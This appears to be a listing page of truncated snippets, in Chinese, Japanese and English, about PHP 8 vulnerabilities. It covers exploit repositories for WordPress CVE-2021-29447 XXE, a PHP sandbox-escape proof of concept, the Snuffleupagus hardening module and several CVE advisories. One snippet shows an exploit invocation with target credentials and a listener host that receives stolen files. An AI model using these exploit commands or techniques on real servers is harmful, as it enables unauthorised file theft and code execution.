exploit_cve-2021-29447

exploitcve-2021-29447 仅用于教育目的。 此漏洞利用工具旨在方便地从运行 WordPress 5.6.2 和 PHP8 的服务器上获取任何文件。（参见 https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5） 你只需要拥有基础的 wp-admin 访问权限以及上传媒体文件的能力。 该漏洞利用会生成一个 .wav 文件载荷，通过 wp-admin 上传。 然后它会利用漏洞利用的后端服务器，让你在控制台上即时获取文件。 完美适用场景：HackTheBox 的机器 - metatwo...

TimeAfterFree

TimeAfterFree PHP 8 サンドボックスエスケープ PoC。Unix系システムにおけるdisablefunctionsのバイパスを実証します。 このエクスプロイトは、use-after-freeバグを利用してdisablefunctionsをバイパスし、システムコマンドを実行します。ヒープポインタの漏洩や読み取り/書き込みプリミティブの取得に使用されるエクスプロイト技術は、DateIntervalオブジェクトを利用しています。...

snuffleupagus

Snuffleupagus Security module for php7 and php8 - Killing bugclasses and virtual-patching the rest! Key Features • Download • Examples • Documentation • License • Thanks Snuffleupagus is a PHP 7+ and 8+ module designed to drastically raise the cost of attacks against websites, by killing entire b...

CVE-2021-29447

CVE-2021-29447 PoC 本仓库包含针对 CVE-2021-29447 漏洞的概念验证（PoC）漏洞利用工具，该漏洞影响使用 PHP 8 的 WordPress 5.6 和 5.7 。该工具演示了攻击者如何在具备文件上传能力的情况下，利用媒体库中的 XML 解析漏洞，导致 XXE（XML 外部实体）攻击，并进而从目标环境中窃取本地文件。 ⚠️ 免责声明 本项目仅用于教育、研究和授权安全测试目的 。 请勿在您不拥有或未经明确许可的系统上使用此代码。 作者对任何损害或滥用不承担任何责任 。 使用方法 ┌──magicrc㉿perun-/code/CVE-2021-29447 └─$...

snuffleupagus

Snuffleupagus 适用于 php7 和 php8 的安全模块 - 消除 bug 类别并对其余进行虚拟补丁！ 主要特性 • 下载 • 示例 • 文档 • 许可证 • 致谢 Snuffleupagus 是一个 PHP 7+ 和 8+ 模块，旨在通过消除整个 bug 类别来大幅提高攻击网站的成本。它同时还提供了一个强大的虚拟补丁系统，使管理员无需修改 PHP 代码即可修复特定漏洞并审计可疑行为。 主要特性 无明显的性能影响 强大但易于编写的虚拟补丁规则 消除几类漏洞 基于反序列化的代码执行 基于 mail 的代码执行 窃取 Cookie 的 XSS 基于文件上传的代码执行 弱 PRN...

Public_Exploit-1--Wordpress-CVE-2021-29447

PublicExploit-1--Wordpress-CVE-2021-29447 CVE-2021-29447 是 WordPress 中的一个经过身份验证的 XML 外部实体（XXE）漏洞 该漏洞存在于 WordPress 媒体库中，当 WordPress 运行在 PHP 8 上且用户具有上传媒体文件的权限时触发。一个特制的 .wav 文件可导致 WordPress 处理恶意 XML 并解析外部实体。 这可能导致： ● 任意文件泄露 — 读取目标服务器上的文件。 ● 服务端请求伪造（SSRF） — 从 WordPress 服务器发起请求。 ● 敏感信息泄露，例如...

CVE-2021-29447

CVE-2021-29447 POC to exploit WordPress 5.6-5.7 PHP 8+ Authenticated XXE Injection. More about this CVE here 示例 示例用法针对 HackTheBox 的 MetaTwo 机器，该机器托管了一个 WordPress 网站，其媒体库容易受到 XXE 注入攻击。 python lfi.py -u manager -p partylikearockstar -t metapress.htb -lh 10.10.XX.XX -lp 8081 -w filewordlist 用法 usage...

CVE-2021-29447-PoC

CVE-2021-29447 概念実証（PoC） ╔═╗╦ ╦╔═╗ ║ ╚╗╔╝║╣────2021-29447 ╚═╝ ╚╝ ╚═╝ Written By Isa Ebrahim - 0xRar on January, 2023 ═══════════════════════════════════════════════════════════════════════════ Title: Wordpress XML parsing issue in the Media Library leading to XXE Affected versions: Wordpress 5.6 ...

CVE-2026-44642

Piwigo is a full featured open source photo gallery application for the web. Prior to 16.4.0, checkupgradeaccessrights in admin/include/functionsupgrade.php conditionally escapes the submitted username only when the removed getmagicquotesgpc function exists, so PHP 8 and later concatenate an...

CVE-2026-44642

Prior to version 16.4.0 , the Piwigo photo gallery application is vulnerable to an authentication bypass due to an SQL injection flaw in the check_upgrade_access_rights() function located in admin/include/functions_upgrade.php. On PHP 8 and later versions, the application fails to properly escape...

CVE-2026-44642 Piwigo: SQL injection in upgrade authentication allows unauthenticated upgrade authorization bypass (PHP 8+)

Piwigo is a full featured open source photo gallery application for the web. Prior to 16.4.0, checkupgradeaccessrights in admin/include/functionsupgrade.php conditionally escapes the submitted username only when the removed getmagicquotesgpc function exists, so PHP 8 and later concatenate an...

CVE-2026-53933: Observable Discrepancy

Maravel, a PHP framework oriented towards dependency injection, prior to version 10.73.1 has a side-channel information disclosure issue. When a route was compiled with dynamic placeholders e.g., /api/v1/users/id, the raw string placeholder key was mistakenly registered into the flat static route...

CVE-2026-35048: Improper Input Validation

The Piwigo installer in versions 16.3.0 and earlier accepts POST parameters for database configuration and writes them directly into a PHP configuration file without proper sanitization. On PHP 8+, the addslashes protection is bypassed because it checks for getmagicquotesgpc, a function removed i...

CVE-2026-5957: Improper Limitation of a Pathname to a Restricted Directory

The EmailKit plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to and including 1.6.5. This is due to a flawed path traversal validation in the createtemplate method of the CheckForm class, where realpath is called on the allowed base directory...

EUVD-2023-51635

Malicious code in bioql PyPI...

CVE-2024-4577 Argument Injection in PHP-CGI

In PHP versions 8.1. before 8.1.29, 8.2. before 8.2.20, 8.3. before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command line given to Win32 API functions. PHP CGI module may...

SUSE SLES15: apache2-mod_php8 / php8 / php8-bcmath / php8-bz2 / php8-calendar / etc (SUSE-SU-2024:1446-1)

The remote SUSE Linux SLES15 / SLESSAP15 / openSUSE 15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2024:1446-1 advisory. - CVE-2024-2756: Fixed bypass of security fix applied for CVE-2022-31629 that lead PHP to consider not secure cookies...

CVE-2024-28859

Symfony1 is a community fork of symfony 1.4 with DIC, form enhancements, latest Swiftmailer, better performance, composer compatible and PHP 8 support. Symfony 1 has a gadget chain due to vulnerable Swift Mailer dependency that would enable an attacker to get remote code execution if a developer...

CVE-2024-28859 Gadget chain in Symfony 1 due to vulnerable Swift Mailer dependency

Symfony1 is a community fork of symfony 1.4 with DIC, form enhancements, latest Swiftmailer, better performance, composer compatible and PHP 8 support. Symfony 1 has a gadget chain due to vulnerable Swift Mailer dependency that would enable an attacker to get remote code execution if a developer...

CVE-2024-28859 Gadget chain in Symfony 1 due to vulnerable Swift Mailer dependency

Symfony1 is a community fork of symfony 1.4 with DIC, form enhancements, latest Swiftmailer, better performance, composer compatible and PHP 8 support. Symfony 1 has a gadget chain due to vulnerable Swift Mailer dependency that would enable an attacker to get remote code execution if a developer...